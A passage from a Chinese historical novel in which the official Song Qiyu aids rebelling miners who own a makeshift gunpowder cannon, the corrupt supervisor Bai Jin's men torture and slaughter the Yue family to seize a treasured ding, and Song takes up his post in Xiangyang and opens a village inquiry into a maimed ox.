回乡之路虽然遥远,但一行人的心情却都格外愉快。这一天晌午,车队来到了寿阳境内,前方闪现出一座小山,与西面的潇河相对,遏住了官道的咽喉。宋启愚和韩丽华并马走在前面。宋启愚说:“夫人,过了寿阳再走一天就到晋阳了。咱们先去拜见一下三叔、三婶。对了,我再领你去见一个奇人。当年,他穿着半红半白的衣服,剃着鸳鸯头,沿街表演,只为攒下银子修座义学。”韩丽华笑着说:“老爷接下来是不是要说,谁能想到,这个不识字的丁训竟会如此执着,真的修了一座义学呢?在京城的时候,老爷就一直念叨这个丁训,我倒想看看这是个什么怪人。”这时,前方传来一声呼哨,紧接着从山石后面跳出二三十个手持棍棒的汉子。这些人有的身穿粗布破衣,有的干脆赤膊,只套一条破棉裤,一个个面露菜色。宋启愚小声跟韩丽华说:“先看看情况再说。这也不像劫道的呀。”对面为首的壮汉手提钢刀,高声喝道:“站、站、站、站住,你们是、是、是、是不是当官的?”宋启愚听完差点笑出了声。他也装作结巴说:“不、不、不是当、当、当、当官的怎样?是、是、是当官的又、又、又怎样?”那汉子答道:“不是当、当、当官的,要、要、要钱,是、是、是当官的,要、要、要命。”宋启愚指指身边的韩丽华说:“她、她、她不是当、当、当官的,我、我、我是、是、是个当官的。”壮汉旁边的一个年轻人用手里的棍子指着宋启愚问道:“我再问你一遍,你究竟是不是当官的?”宋启愚一本正经地回答说:“我还真是个当官的,是朝廷任命的五品知州。”壮汉一听对方敢戏弄自己,怒目圆睁,大喝一声:“上,给我宰、宰、宰了他们。”山贼们叫喊着举着棍棒冲了上来。宋启愚哪把这些人放在眼里,赤手空拳,跳下战马,上步转身飞起一脚,就把冲在最前面的汉子踹了回去。接着,宋启愚探出右手抓住一条伸过来的棍子,顺势一带,那拿棍子的山贼站立不住,直接飞了出去。宋启愚抡起棍子左右突击,转瞬间又打倒了七八个人。提钢刀的壮汉见来者不善,指着宋启愚说:“你、你、你等着。”说完,他带着人转身就跑。宋启愚也不追赶,扔了棍子二次上马,呵呵笑着对韩丽华说:“我学、学、学得,象、象、象、象不像?”韩丽华被逗得哈哈大笑。两人都没把这些山贼当回事。宋启愚还对赶上来的吴襄说:“就是一群小蟊贼。夫人和长白回去保护车帐。我们快速通过前面的山口。” 宋启愚单人匹马走在最前面。离山口还有三四百步时,又是一声呼哨,山口处闪出二百多人,一下子卡住了道路。再看这些人,更加凄惨,除了十几个拿着刀矛的,队伍后面甚至还有几十个老弱妇孺。 第十三回5 宋宣道外放 宋启愚高声喊喝:“宋某看你们不像打家劫舍的强盗,为何拦阻道路,抢夺财物,害人性命?”刚才逃跑的拿刀壮汉跟身旁的中年男人指指画画地说了些什么。那中年男人手持一把铁镐,向前一步,高喊道:“你们这些当官的,没有一个好东西,不给我们做主倒也罢了,还不让我们活。别看你厉害,今天你也过不了这鬼门关。来呀,准备。”随着喊声,“山贼”的队伍分开了一道缝,十几个汉子推出了一辆铁桶车。宋启愚不知对方搞什么名堂,向前提了提战马,高声问:“你们有什么委屈可否跟宋某说说,也许我能帮你们伸冤。”中年男人冷笑着说:“你休想蒙我,先前是矿监,后来是县令,前些日子又是那个什么鸟监军,都说要还我们公道,可最后还不是想灭了我们。”宋启愚本想再向前提马,可被对方喝止住。宋启愚勒住战马,继续说:“乡亲们,我虽是朝廷命官,但我也是山西人,现带着家眷回乡省亲。你们遇到了难处,尽管开口,至于能不能为你们做主,我不敢说,但我一定会帮忙。”那群“山贼”听了宋启愚的话,很多人都低头哀叹。中年男人说:“看在你是山西人的份上,我就给你讲讲,让你死个明白。我们这个地方原是山美水美的鱼米乡,出产小米、苹果、梨还有鱼虾,对了,还种桑养蚕。那时候,我们这儿是个大乡,人也多,家家户户都能吃饱穿暖。”中年男人看了看身边的乡亲,接着说:“可是二十年前,这周围的山里开出了一座银矿和一座煤矿。当时的晋王就强占了这片土地,不准我们耕种,强行把我们迁到山洼居住,还逼着我们给他挖矿。”男人的言语开始由悲戚转为了愤怒,“晋王倒台后,朝廷派来了该死的矿监,他不把我们当人看,给我们吃猪狗食。我们没白没黑地干活,可到最后,最后却,却连家人都养不活。我们找矿监理论,却有七八个人被矿监抓去活活打死了。”中年男人平复了一下心情,接着说:“那矿监给我们涨了些工钱。但没过几天,他见没人敢闹了,就更不把我们当人看了。去年矿上塌了坑,他竟下令封了那口矿洞,对死在里面的四十几个人,每家只赔了一吊钱。家属不服告到县里。那狗官,那狗官竟又通知了矿监。他们派出打手扮成强盗又杀了我们几十个告状的乡亲。”中年男人紧紧地攥着铁镐,咬牙切齿地说:“当晚,我们全乡三四千人暴动,杀了那该死的矿监。县里的狗官逃到了省城,禀告了监军。这个不是东西的监军先派人来稳住我们。之后,他,他这个王八蛋竟说我们是土匪,派官军围剿了全乡。”宋启愚听得热血奔涌。他高声说道:“乡亲们,你们受的苦我来管,一定还你们公道……”恰在此时,那个拿刀的壮汉指着宋启愚说:“他、他、他使诈。给、给、给、给我点火。”说着,他抢过别人手里的火把,在“铁桶”下面烧了起来。就听一声巨响,宋启愚只见一团火球向自己飞来,霎时就到了身前,他下意识地向后闪身并猛勒缰绳。那火球重重地砸在宋启愚身侧的山石上,崩裂出无数小石块。宋启愚坐下的战马被石块击伤加之受惊过度,竟腾空跃起,狂跳不止,又肆意往人群冲了过去。 第十三回6 宋宣道外放 幸亏宋启愚是相马大家。他紧紧夹着战马,嘴里不断发出“嗜嗜、咯咯”的声音。为了不踩伤前面的“山贼”,他还腾出一只手轻抚马颈,强行让战马转向。那二百多“山贼”被惊马逼得纷纷后退。费了好大的功夫,宋启愚才把战马降住。这时,吴襄带着四个随从也冲了上来。吴襄暴怒大叫着:“你们敢伤宣道,我宰光了你们!”说着,他就要纵马砍杀。宋启愚急忙喝止他说:“长白住手。他们都是穷苦百姓,被逼无奈才接杆起事。我们不能杀他们。”吴襄仍然怒气难消。他一眼看见刚才点火的结巴,催马上前,先用刀背打飞了对方的刀,又一刀背将那壮汉抽翻在地。吴襄跳下马,拎着那结巴走回宋启愚面前说:“宣道,别人可以不杀,这小子我得处置了。”宋启愚跳下战马,给结巴拍了拍身上的土,说道:“长白,放开他。他也是老百姓。”宋启愚又问那结巴:“你叫什么名字?刚才为什么打我?”那结巴翻着眼皮看了看宋启愚,气哼哼地说:“老、老子钱六。你、你、你的人、人、人、人都、都冲、冲、冲上来了,我、我、我还不、不、不打你、你、你这狗官……”宋启愚既好气又好笑,骂道:“你这臭嘴,我该打得你满地找牙。可是,我宋宣道不欺负老百姓。长白,叫他们都过来,跟大伙说我帮他们主持公道。” 二百多老百姓手里拿着棍棒,战战兢兢地凑了过来。宋启愚先让随从拿来吃食分给众人吃,又取来衣物给赤膊的人穿,还掏出金疮药让受伤的人敷,最后请来余先生,命他记录众人的陈述。百姓们对宋启愚的态度由开始的惊惧、提防慢慢转变,最后当说到冤屈时,在场的人哭声一片。他们纷纷扔掉手里的家伙,跪谢老天,终于给他们派来了大救星。 未末时分,宋启愚叫过领头的中年男人,对他说:“罗申大哥,我弹劾寿阳知县和监军白晋的奏折也给你们念了,明天我就派人递送京城。但朝廷处置他们还需要一段时间,为了避免他们报复,我建议你们先出去躲一躲。”罗申跪爬到宋启愚面前,哭着说:“恩人啊!我们寿阳的百姓世世代代不敢忘记您的恩德呀!只是,我们能躲到哪儿去呢?早晚还不是跟那些被杀的乡党一样吗。”宋启愚皱眉想了想,说道:“你的担心有道理。如果那白晋以镇压反叛为名清剿你们,你们是没有活路的。这样,今天你们就收拾东西,我留下两个从人,明日让他们领着你们去定襄,找韩德奎司马投军。老弱妇孺也能在军田谋些差事。”宋启愚转身对远处的车帐喊道:“夫人,请你给大哥写封荐书,介绍这些乡党前去投军。”百姓们听说自己有了出路,一个个喜极而泣。宋启愚又让吴襄拿了三百两银子分给众人。人们手捧着银钱,呼啦一下都跪到宋启愚面前,发自肺腑地叫喊着恩人,说着感激的话。 第十三回7 宋宣道外放 安排完众人,宋启愚指着那架铁桶车,问罗申:“这到底是个什么东西?如此厉害。”罗申说:“这个东西原来是我们矿上烧石头凿洞用的。您不知道,这石头呀,得先用火烧再用水浇,这就容易裂了,再用斧凿就可以开洞了。这,这咱山西除了煤其它的石头都硬,有些石头就得用火药炸。说这话是四五年前了,有一次矿塌了,这个铁桶里原来已经装了火药,塌了之后又盖上了一层石头,弄出来的时候,谁也不知道。有个管矿的工头拿着个火把不知道怎么就把里面的火药点着了。那一家伙,石头满天飞,工头也被炸死了。我当时就在边上,可把我吓得够呛。我管这个东西叫‘炮’。前年它又炸过一次,这我算是知道了。这次官军到矿上剿我们,我就想起了这个东西。没想到第一炮就炸了七八个官军,我们几百号人冲过去又杀了十几个当官的,这才冲出来。后来我们又放过两炮,每次都能炸死几个人……”凭借着敏锐的洞察力,宋启愚马上意识到这将是一项重要的发明。他对罗申说:“罗大哥,这个炮能不能让我拉走,我想鼓捣鼓捣这个东西。”罗申爽快地说:“恩公要怎样便怎样,我们大伙绝没有二话。”宋启愚又说:“老哥,从这儿到定襄有一百多里,按你们的脚程恐怕要走七八天才能到达。你要跟大伙说现在是逃命,所有笨重的东西都不要带。另外,我会先给韩司马捎个信,让他派人接应你们。” 第二天一大早,宋启愚一行刚出寿阳县城,就见远处飞来几骑。为首的骑士身穿黑衣,留着一脸络腮胡须。他边骑马狂奔边大声笑着叫道:“宣道,宣道,夜猫子来接你了。”宋启愚一看也高兴地叫起来:“是曹可用。”随即,他也策马向前,去见他的好兄弟。 在去晋阳的路上,宋启愚指着那门炮对曹可用说:“好兄弟,这个宝贝你帮我送到京城去,交给邝玄先生,让他好好研究研究,以后肯定能派上大用场。记住,这可是稀世之宝,千万别给我弄坏了。”曹可用咧嘴笑着说:“宣道交给咱的任务,咱啥时候含糊过,你就放心吧。”曹可用又说:“宣道,你这回去襄阳一定得带着我呀。晋阳这边的盐业生意已经做起来了。有三老爷和三少爷在这边完全可以支应。你就替我求求太公,放我跟你去吧。”宋启愚笑笑说:“那要等后天,我得听听丁训先生怎么说。他要说你好呢,我就带你走,他要说你不好,你就接着在这里卖盐好了。”曹可用哈哈笑着说:“那个怪人,幸亏我对他不错。他还在书院边上建了个祠堂,把你的泥像塑在里面,天天给你磕头呢!” 在这个冬日清冷的早晨,一行人渐行渐远,阵阵欢笑飘散在空中又被北风卷走,只剩下茫茫旷野和朗朗青天。 第十四回1 白监军祸晋 宋启愚治襄 正月初十,晋阳城漫天飞雪。巳正时分,同知林仁恭匆匆走进了白晋的府邸,穿门过院来到了二堂。他恭恭敬敬地跪伏在堂前的雪地上,口称:“不孝子林仁恭求见义父。”过了好一会儿,从房中传出一个尖细的声音:“林崽子进来吧。”林仁恭扶着冻僵的大腿,强撑着站起来。两个丫鬟为他打开了棉帘。林仁恭一边称谢一边进了屋。炉火烤得屋里暖暖的,借着光亮可以看到一个肥头大耳的人正坐在软椅上闭目养神。林仁恭向前紧走几步,跪倒磕头说:“儿给义父请安。”坐着的人抬了抬眼皮,嗯了一声说:“起。今天又有什么好货啦?”林仁恭又磕了个头,站起来说:“义父,您交代的寻找大康鼎的事有眉目了。”白晋听后一下子坐了起来。他向前探着身子问:“在哪?”林仁恭向前挪了挪说:“经过多方查访,前几日,线人向我报告说此宝在南门外大户岳晋兴手里。”白晋站了起来,说道:“那还等什么,快去给我弄来。这件宝贝要是献给皇上,咱家可就不是山西监军了,整个北方都得归咱家管。到时候,咱家能亏了你?”林仁恭急忙跪倒,磕头说:“孩儿谢义父栽培。孩儿已经抓了岳晋兴和他的两个儿子,可再三审问,他就是不说呀!”白晋拉长了脸说:“那你就动刑吗。咱家就不信有人能扛过皮肉之苦。”林仁恭又说:“孩儿对他们用刑了,可他们父子都说不知道。”白晋说:“难道是你的线人胡乱攀咬?”林仁恭又磕了个头说:“儿子也怕那厮胡说,就把那厮提来当面对质,可他一口咬定大康鼎就在岳晋兴手里。但那老守财奴还是不肯说出大康鼎的下落。孩儿就派人在岳宅的建筑和树木上都系了黄带子,单等义父下令,孩儿便动手拆屋。就是掘地三尺,孩儿也要把大康鼎找出来。”白晋立即从桌上拿起一份准备好的手令递给林仁恭说:“你快去,办好了这件差事,咱家直接请旨升你做知府。”林仁恭接连磕头道谢后从屋里退了出来。 到了监军府外,林仁恭高举着白晋的手令,昂首对从人们说:“马上跟我去抄家,为圣上寻找宝物。”他又指着两个手下说:“你们去把岳晋兴父子提来,要是他们还不说,我就当场坎了他们。还有,去调一队官军来,弹压地面。” 几个时辰之后,岳宅已被拆得一片狼藉,但除了抄出几箱财宝外,并没有发现大康鼎的影子。林仁恭有些着急了。他抓起一把抄出的珠翠看了看,又重重地扔回了箱子里,骂道:“都是些不值钱的玩意儿。”他回头命令道:“把他们家里所有人都押到这儿来。”不大的功夫,岳府上下二十几口人被推到了院子里。林仁恭恶狠狠地对绑在树上的岳晋兴父子说:“你们还是说了吧。我这里有白监军的手令,可以要了你们任何人的命。” 第十四回2 白监军祸晋 宋启愚治襄 岳晋兴仍咬着牙说确实不知道。林仁恭被激怒了,他一指岳府的两个下人说:“先砍了他们两个。”几个恶吏冲过去就把那两人往边上拖。那两人一边拼命挣扎,一边破着嗓子嘶喊道:“老爷救救我们!救命呀!老天爷呀!冤呀!老爷你告诉他们呀!救救我们呀!”岳晋兴哆嗦着求饶说:“大人,我、我、我家里确实没有大康鼎呀。”没等他说完,就听两声惨叫,那两个下人已被恶吏用尖刀捅透了胸膛。林仁恭厉声说:“岳员外,你还是说了吧!再往下,我可不一定杀谁呢。”岳晋兴满脸是泪,面色惨白地说道:“大人饶命,我真的不知道。”林仁恭用手又指了两个人,恶吏扑上去就将两人往外拖。岳晋兴大叫着:“大人,大人,大康鼎不在我手上,小人只知道一丝线索,求大人开恩。”林仁恭走到岳晋兴跟前,盯着他说:“别跟我耍花样。什么线索?快说。”岳晋兴哭着说:“大人,大康鼎在前朝晋王手里。”林仁恭大怒,吼道:“你敢戏弄本官,四五十年前的事你让我查什么?”他一挥手正要下令再杀人。岳晋兴忙喊道:“且慢,小人说。前朝晋王薨逝时把大康鼎带进了坟墓里。”林仁恭冷笑数声,突然说:“你当我不知道,在山西地面上的前朝大冢都已被盗掘。你编这个谎去蒙三岁的孩子吧!杀了。”两声惨叫,岳府又赔上了两条性命。岳晋兴悲愤交加地说:“我说,我说,大人,当年我祖上是晋王家奴,呜呜……”林仁恭赶紧逼问道:“快快讲来。”岳晋兴少气无力地说:“前朝灭亡时,我祖父跟晋王从城内逃出。晋王嫌大康鼎笨重,就将宝物交给我祖父保管。我祖父怕宝物损坏便将其掩埋,地点只有他自己知道。”林仁恭大喝一声:“你老小子还是不老实。来人,把他儿子拖过去,今天若不能查出大鼎的下落,你们家的人一个也别想活。”岳晋兴跳着脚哀求道:“大人,我说的全是实话呀。我祖父死前给我父亲留下了一张埋鼎图。后来,我父亲担心招祸便在临终前让我把图放进了他的棺材里。这就是我说的一丝线索呀!请大人明鉴!”林仁恭得意地一笑说:“早说吗,受了这许多折腾,真是贱种!”他对手下人说:“押着他们去指认祖坟。”官吏们用长绳拴着岳晋兴一家往外走。岳家人有的仰天大哭,有的小声啜泣,有的昏沉麻木、近乎痴傻,场面十分凄惨。 天黑下来了,林仁恭命手下燃起火把,连夜赶工。他就钻在车里,坐等结果。很快,一口黑漆棺材被从土里掘了出来。岳家的子孙们跪在祖坟前,嚎哭不止。棺材被撬开后,林仁恭用方帕捂着鼻子,走到岳晋兴面前,吩咐道:“去把埋鼎图给本官找出来。若有差错,当心你全家人的命。”岳晋兴不敢再有违误。他哭着爬到父亲的棺材前。在磕了几个头后,探身进入棺内摸索了一番。最后,他手握一个小木盒,踉跄着从棺材里面爬出,趴在地上连咳带喘地呕吐起来。林仁恭顾不得许多,上去一把夺过木盒,拿到车边的火把下。他拔出佩戴的小刀,一下子撬开了木盒,取出里面已经受潮的纸页,小心地展开。林仁恭定睛一看,上面只有一行文字,虽然模糊,但仍可辨认出“先襄汾知县冢北五十步”字样。林仁恭恍然大悟,自言自语道:“原来,他们是把东西埋在了祖坟圈内。”然后,他喝令手下:“把岳晋兴押过来。”两个恶吏答应一声,扑向趴在地上的岳晋兴。但他俩很快发现,那岳晋兴已经口吐鲜血,死了。 第十四回3 白监军祸晋 宋启愚治襄 林仁恭抄起一支火把,走到瘫坐在地的岳家人面前,拔出小刀挨个逼视着他们,强横地问:“你们说,这些坟里面,哪一座是襄汾知县的?”被逼问的人吓得直往后退。不等众人回答,林仁恭自嘲地一笑,说道:“我还用问你们,全掘开不就得了。”这时,他突然瞄到了人群中两个绰约的身影。他推开挡在前面的老妇,一把抓出其中一个。借着火把的光亮,他看到那女孩脸上涂满了灰泥,但五官轮廓却非常清秀。林仁恭收起刀子,拿出方帕在姑娘脸上轻擦了两把,一个标致的美人出现在眼前。林仁恭又抓过另一个女孩,淫笑着说:“白天怎么没发现,岳家还有这么漂亮的姑娘。”林仁恭一边用小刀割开捆姑娘的绳子,一边说:“你俩以后不用再受苦了。来人,把她俩带上车,送到我府里去。”两个姑娘瘫软在地,被恶吏架着拽向了马车。这下,岳家人不干了,尤其是岳晋兴的大儿子。他挣扎着爬起来,高喊道:“大人,求大人放了我妹妹和我媳妇吧。家父已亡,宝物的事情我们这些小辈确实不知,求大人给我们留条活路吧!”林仁恭轻蔑地撇着嘴说:“还轮不到你来求情。”眼看两个姑娘就要被推到车上去了,岳大公子再也忍受不住,狂叫着近似疯癫地冲过来要跟林仁恭拼命。林仁恭本能地向后一退,右手向前一挡。只听一声惨叫,林仁恭手中的短刀已插进了岳公子的腹腔。岳家人惊叫着,哭泣着,一些女眷因受不住刺激昏死了过去。林仁恭看看手上和身上的血迹,不由一阵恶心。他边用方帕擦着血,边吩咐手下人说:“真晦气。今天就到这儿吧,留下几个人,其他的人跟我先去岳宅歇息,明日再来寻宝。” 第二天,白晋亲自领人来到岳家祖坟。经过一天的挖掘,他们终于找到了被埋藏的大康鼎。白晋立即将宝鼎装箱运回了监军府。临走时,他命令林仁恭杀尽岳家人。林仁恭遵令照办后,突然想起昨日虏去的两个女子。他急忙回府,准备淫乐后再杀人灭口,可是,任他找遍了整座晋阳城,却再没发现那两个可怜的姑娘。 在二月和畅的春风中,宋启愚一行千里赴任,已经接近了湖北地界。 清晨,宋启愚昂首站在船头,欣赏着白河两岸的风景,感叹道:“我中华国土真是广袤,山西还在爬冰踏雪,南阳却已杨柳吐绿。”这时,从船舱里冒出一个小脑袋,喊道:“大,咱们啥时候才能到襄阳呀?这几日坐船,余先生老是吐。我跟双桂他们今天还是自己看书吗?”宋启愚笑着回身对儿子说:“余先生是晕船。这里已经能看到大片的农田了,估计离新野县不远了。等我们上了岸,为父领你们在本地玩两天,也让余先生缓一缓。新野到襄阳也就是两三天的路,我们快到了。” 第十四回4 白监军祸晋 宋启愚治襄 正午之前,船队靠了码头。宋启愚命吴襄拿着名帖先去县衙知会地方官员,他则带着众人住进了码头边上的驿馆。安排大家用完了中饭,又小憩片刻之后,宋启愚觉得精力充沛,便喊上曹可用出门闲逛。在河岸边有一座水神庙,近旁还开了几十家店铺,船来车往,人头攒动,也算热闹。他们信步走去,先参拜了水神,又看了几家玉器店,尝了尝街边地摊上的油茶。曹可用说:“宣道,以前我还真不知道南阳这个地方产玉,就雕工来说,我觉得还是第一家最好。”宋启愚呵呵笑着说:“我记得前朝有位诗人写过‘南阳独玉千秋宠’的句子,说明这南阳玉还是有历史的。不过,我不懂这些东西,只是看看稀罕罢了。”说话间,他们又到了一间铺子门前。店老板热情地迎上来招呼说:“客爷想要啥茶咧?俺这儿特产是栀子茶,又香甜又便宜,也有信阳毛尖和襄阳茶砖,二位进来瞧瞧。”曹可用大大咧咧地说:“怪不得在街上就能闻到一股味,原来是栀子花香。那我们就看看,合适的话,就要一些。”老板忙不迭地答应着:“二位爷里面请,刚冲好的栀子茶,给大爷倒两碗尝尝。”店老板让着客人进了屋,提过茶壶,就着柜台倒了两碗,端给宋启愚他们。曹可用接过茶碗,吹了吹,轻轻抿了一口,觉得味道还行,便问道:“你这茶什么价?”店老板说:“便宜,十二个铜钱一斤,这茶小老百姓能喝得起,也好卖,您要是买的多,价钱咱还能商量。”宋启愚开口问道:“襄阳茶砖怎么卖?”店老板赶忙回道:“茶砖三十个钱一饼,大概七八两重,这茶多是有钱人喝的,也销到北方去,听说到了京城一饼能卖到五六十个钱。听恁的口音象是山西河北来的客商,那恁多买些茶砖也能挣大钱嘞。”宋启愚笑笑说:“我们确从山西来,虽然也贩过茶,但却不知道这里头的门道,老板再给我们讲讲。”曹可用从荷包里摸出一块碎银子丢在柜台上说:“我们东家正想入手茶叶生意。山西又不种茶,你就从怎么种、怎么收一直到怎么买卖都给我们说说,亏待不了你。”店老板喜笑颜开地取了银子,一边揣进怀里,一边点头说:“这怎么好意思,这银子够买五十斤茶叶了。那我就好好给您二位讲讲。这茶呀多是种在山坡上,有云多雾最好,我们这儿也有种在沙地上的。你们顺着河堤往南走就能看到大片茶园。这茶又有明前茶和雨前茶,现在快到采摘季节了……” 宋启愚很仔细地听完,并将一些细节记在心里,又饮了一碗栀子茶后,才带着曹可用从茶叶店出来。回驿馆的路上,宋启愚说道:“当年咱们在山西也买卖过茶砖和茶叶,虽然品种不同,具体价格我也记不清了,好像不便宜,少说也要折合二三百文一斤。可以想见,这里面的利润大得吓人。可用,你有没有觉得茶叶生意跟盐业生意有些相似呢?”曹可用也若有所思地说:“我正想说它俩确实很象呢。宣道是想再做些茶叶买卖吗?”宋启愚笑笑说:“你经商的嗅觉还真灵敏。我先了解了解,考虑好了再告诉你。” 第十四回5 白监军祸晋 宋启愚治襄 当天晚些时候,新野的方知县亲自到驿馆拜会了宋启愚。当了解到对方已在本地为官六载后,宋启愚便非常谦虚地向他请教新野地区的人文、地理、特产和水利等情况。第二天,宋启愚也并不着急赶路,而是带着众人参观了白河大堤和县城周边的几座茶园。宋启愚看着远处追逐打闹的二夫人韩丽华和几个孩子,心生感慨,对吴襄说:“多美好啊!”吴襄笑笑说:“我们所做的一切不都是为了他们吗。”宋启愚纠正说:“不光是他们,天下的老幼妇孺都应享有这样安定快乐的生活。此次赴任,我感到担子很重。特别是昨日跟方知县谈过之后,与新野紧邻白河相似,襄阳地处汉江之滨,发展经济、教化子民和防治水患是我给自己定下的治政目标,希望能不负圣上和朝廷之托。” 三天之后,宋启愚的船队停靠在了襄阳临汉门码头。提前得到通知的州属各官早早备下了仪仗迎候在临汉门外。待大船停稳,落了跳板,吴襄和曹可用先行登岸。吴襄高声喊喝:“新任正五品襄阳知州宋大人启愚到,众官跪迎。”伴随着鼓乐声,属官们依次跪伏于地,高呼:“属下恭迎知州宋大人。”少顷,宋启愚头戴乌沙,身穿绯红色团领袍,腰系银带,满面春风地从船上下来。他伸手将跪在最前面的一位官员搀起,又对众人说:“列位大人请起。宋某蒙圣上捡抜,恬充州牧。我虽不才,但愿为朝廷分忧,为地方造福。今后,我与列位朝夕相处,望各位对宋某推心置腹、鼎力相助。”刚才被宋启愚搀起的官员一躬到地,说道:“同知万刚率阖州官吏迎接宋大人。万某愿意竭尽全力,辅助大人制政。”宋启愚还了一揖说:“万大人辛苦。”接着,两位七品服色的官员上前拱手说:“属下是南漳知县袁儒忠。属下是宜城知县郑文明。宋大人能来治理江汉,实乃襄阳之福。”宋启愚也一一答礼致意。这时,黄秩五笑着从万刚身后闪出,拱手说:“宣道大人,署理樊城知县黄秩五有礼。”宋启愚点头笑着说:“黄大人倒先我一步来了荆襄,随属安排好了吗?”黄秩五一拱手说:“劳大人过问,下官到任已有半月,一切都办妥了。”接下来,万同知又将州里各部门的重要官吏一一向宋启愚做了引荐。最后,宋启愚面对众人又一拱手,说道:“感谢诸位前来接官,今日仪式就到这里,容宋某先安排好从属。明日辰时,本官在州衙正式办公。望诸位整理好各自公务,以备问询。另外,请户司孙喜敬大人、水司赵随心大人午后分别将本州鱼鳞户籍册和治水账目交到后衙,本官要先行查看。” 在其后的一段时间里,宋启愚并没有急着下达政令,而是带着属官和余允文等人走遍了襄阳的各个街巷村镇,深入了解百姓的生产和生活状况。 第十四回6 白监军祸晋 宋启愚治襄 这一日,宋启愚来到黄家湾查访。他刚到村口,便听有人呼天抢地地咒骂着:“哎呦我的牛呀!是哪个断子绝孙的畜生伤了你呀!这可是家里的大牲口呀……你这遭天杀的,让我们一家人可怎么活呀!我咒你十八代祖宗!那害牛的人一家子不得好死,死了也得下地狱……”宋启愚对从人们说:“走,看看去。”大家循声找去,但见一户农家大门敞开着,一妇人叉腿坐在地上边哭边骂,还用手里的菜刀剁着地上的菜板。一个汉子拿扁担戳着地愤怒地骂道:“割我家牛舌头的混蛋,有本事站出来,让爷爷一扁担砸死你!你别以为爷爷不知道。爷爷一会儿就去你家,拿刀劈了你个王八蛋……”十几个乡民围在旁边交头接耳、窃窃私语。突然,有人喊道:“里正来了。苗子还有苗子婆娘,跟里正告状,让里正老爷给断断。”正在骂街的两口子闻言,象见了救星一般,扔下家伙,扑到赶来的里正面前,哭着说:“老爷啊,给我们做主呀!我家的牛今天晌午被人割掉了舌头呀,可怜哪!我家的牛现在满口是血,眼里全是泪呀!老爷一定得抓住那凶手,还我们公道呀!”里正是个三十多岁的圆脸汉子,他先找了个石墩坐下,又让村民把苗子夫妻搀起来,皱着眉头问:“你们可曾看到是谁干的?”苗子婆娘咬牙切齿地说:“要是看见了,我当时就跟他拼了,还能让他害了我家的牛吗!”里正又问大伙:“我说,有哪位乡亲看见谁动了苗子家的牛啦?”他连问了几遍,村民们只是摇头,都说不知道。里正又问:“苗子,你家跟谁有仇吗?”苗子摇着头说:“我也没与人结仇呀。跟邻居有时吵架,那也都是些小事,谁会害我呢?”里正有些急了,豁然站了起来,大声说:“你们这么多人,啥也没看见,一个个都是睁眼瞎。这让我问谁去,连个对质的人都没有,还是报官吧。”见里正说话难听,有几个村民讽刺道:“赵老大,你还是里正咧,啥也断不出来。怪我们眼瞎,你才瞎呢。你真是个糊涂蛋。”里正被骂得灰头土脸。他猛然看见宋启愚等人,随断喝道:“你们几个是什么人?来本村做什么?”站在宋启愚身后的户司掌事孙喜敬上前一步,说道:“休得放肆。此乃新任知州宋大人,专门来考察民生的。”里正被吓得目瞪口呆。他反应了一下,赶紧跪下,又招呼村民们跪倒说:“小人们见过青天大老爷。小人真是睁眼瞎,竟不知道老爷到访。”苗子夫妻听到知州二字,扑地磕头说:“求宋青天给我们做主,查出害我家牛的凶手。”宋启愚上前拉起苗子,对这夫妻说:“先带我去看看牛。把牛被割舌的前后过程详细地讲给我听。”他又转头让众乡民起来,命他们在院外等候。 第十四回7 白监军祸晋 宋启愚治襄 在牛棚前,宋启愚轻抚着那头满嘴血末的耕牛,说道:“这牛虽然不会说话,但它什么都知道。它的伤不重,止血后,两三天就没事了,只是不能叫了。看样子,作案的人一定是你的左邻右舍。因为他并不想偷牛,也不想重伤这头牛,只是要教训教训你们。”宋启愚转身又问道:“本村是不是有八十多户人家,四百多口人?”苗子瞪大了眼睛,回道:“就是,就是,大人怎么知道?”宋启愚微微一笑说:“本官想出办法了。”他转身走到门外,问那里正:“你们村里有没有祠堂或者大一点能审案的场所?”里正忙不迭地回说:“有,有,有,村子中间有个戏台,台前是空场,收粮食的时候也做打谷场用。”宋启愚命令道:“好,就用那里。你即刻筛锣招呼村民到戏台前听审,全村百姓除去卧床不起的,其余人等务必到齐,谁若不来,本官立刻以偷牛罪将其锁拿。”里正听命后,忙说:“大人放心,小的这就去办。”他刚迈了两下腿,又似想起了什么,停住指着几个村民说:“老二、老四还有你们几个来我家,把我堂屋里的桌子、凳子搬到戏台去给大老爷用。完了事,你们就站在堂前,当老爷的衙差。老爷叫打谁就打谁。听见没有!”宋启愚觉得好笑,随说道:“赵里正安排的蛮周到,本官谢了。”那里正得了夸奖,兴奋不已,带着几个村民撒腿如飞办差去了。宋启愚对吴襄、余允文和孙喜敬等人说:“让苗子夫妻牵上牛,咱们到戏台唱一出‘审牛舌’的好戏。” 宋启愚让人在戏台前摆下桌凳,自己背对戏台坐下,并命余先生陪坐记录,孙喜敬站在前面招呼,吴襄带着两个人牵牛站在戏台侧后。不多时,黄家湾的人陆续聚集到了场地里。赵里正大声喊着:“乡亲们,乡亲们,都静静,静静。今天,新任知州宋大人到村里察,这个,这个,这个查案。都听我的,上前跪拜宋大人。”农户们平常很少见官,一个个战战兢兢地跪在场里,胡乱喊着拜见的话。宋启愚让大家起身,又叫桌前的几个农民维持秩序,这才开始审案。他先唤过苗子夫妇,让他们将牛被割舌的经过又讲述了一遍。宋启愚怒道:“邻里纷争本来寻常,恶意胡闹也可理解,但刀割牛舌,作践了生灵却该从重处罚。这作恶之人,你摸着自己的良心想一想,苗子夫妻何曾得罪你到这个地步。你也是农民,应当知道耕牛对于一户人家来说是多么重要。你这样对待苗子一家,于心何忍?”在场的村民本就怕官,现在听到知州厉声训教,更是害怕得不敢抬头。宋启愚逼视着众人,接着说:“不要以为做了恶事没人看见,就不用承担后果。本官今天就让受伤的牛开口说话,定要揪出那做恶之人。” 第十四回8 白监军祸晋 宋启愚治襄 